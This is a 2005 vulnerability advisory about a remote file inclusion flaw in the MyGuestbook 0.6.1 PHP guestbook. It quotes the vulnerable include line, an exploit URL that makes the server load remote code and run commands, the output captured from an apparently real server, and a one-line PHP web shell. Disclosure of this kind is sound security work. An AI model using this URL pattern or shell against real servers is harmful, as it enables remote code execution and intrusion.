Title: MyGuestbook Remote File Inclusion.
Vulnerability Discovery: SoulBlack - Security Research -
Date: 05/07/2005
Severity: High. Remote Users Can Execute Arbitrary Code.
Affected version: 0.6.1 (Only Tested in 0.6.1)
Vendor: http://html-design.com/

* Summary *
This is a simple MySQL based Guestbook.


* Problem Description *
The bug reside in form.inc.php3.

Vulnerable Code


<?
include("$lang.lang.inc.php3");
?>


/*


http://server/gb/form.inc.php3?lang=http:/...ame%20-a;uptime


uid=99(nobody) gid=99(nobody) groups=99(nobody) Linux cyan-1.farm.de
2.4.18custom_ko_w_ipsec #10 Fre Apr 19 13:05:46 CEST 2002 i686 unknown 6:51pm
up 463 days, 15:43, 0 users, load average: 0.00, 0.01, 0.02


*/


/*
-------
cmd.gif
-------


<?
system($cmd);
?>


*/



* Fix *
Contact the Vendor.

* References *
http://www.soulblack.com.ar/repo/papers/ad...ok_advisory.txt

* Credits *
Vulnerability reported by SoulBlack Security Research